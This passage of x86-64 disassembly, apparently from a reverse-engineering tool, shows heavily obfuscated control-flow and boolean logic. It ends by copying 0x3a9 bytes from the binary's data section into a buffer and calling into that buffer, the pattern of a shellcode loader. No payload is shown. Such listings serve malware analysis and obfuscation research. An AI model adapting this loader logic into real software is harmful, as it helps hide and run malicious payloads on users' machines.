and r9d, 0xa3203dcf
mov r8d, ecx
and r8d, 0x5cdfc230
or r8d, r9d
mov r9d, r8d
xor r9d, 0x14988230
xor r8d, 0xa3203dce
mov r10d, ecx
xor r10d, 0xfffffffe
and r10d, ecx
or r8d, 1
mov r11d, r8d
and r11d, 0xc94764cc
and r9d, 0x36b89b32
or r9d, r11d
mov r11d, r10d
not r11d
or r8d, r11d
and r11d, 0xc94764cc
and r10d, 0x36b89b33
or r10d, r11d
xor r10d, r9d
not r8d
or r8d, r10d
mov r9d, r8d
not r9d
and edx, r9d
and r8d, ecx
or r8d, edx
xor r9d, r8d
test r9d, r8d
sete r8b
setne r9b
cmp dword [0x1400053e8], 0xa
setl cl
setge dl
mov r10d, r9d
and r10b, dl
or r9b, cl
and cl, r8b
or cl, r10b
xor cl, 1
or cl, dl
or dl, r8b
mov r8d, r9d
xor r8b, dl
or dl, r9b
xor dl, 1
or dl, r8b
mov r8d, edx
xor r8b, cl
xor cl, 1
mov r9d, ecx
xor r9b, dl
or cl, dl
xor r8b, 1
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, r9b
test cl, 1
mov ecx, 0x930b1a47
cmovne ecx, r15d
test r9b, 1
cmove ecx, r15d
mov qword [rbp - 0x18], rax
test dl, 1
mov eax, 0x930b1a47
cmove ecx, eax
jmp 0x140001110
mov ecx, 0xbc4012bf
jmp 0x140001110
mov ecx, 0x2447cad4
jmp 0x140001110
cmp ecx, 0xbc4012bf
jne 0x140001110
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x18]
mov qword [rax], rcx
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
sub rsp, 0x20
lea rdx, section..data
mov r8d, 0x3a9
call sub.VCRUNTIME140.dll_memcpy
add rsp, 0x20
mov rax, qword [rbp - 0x10]
sub rsp, 0x20
call qword [rax]
add rsp, 0x20
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp]
xor rcx, rbp
sub rsp, 0x20
call fcn.140002800
add rsp, 0x20
xor eax, eax
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret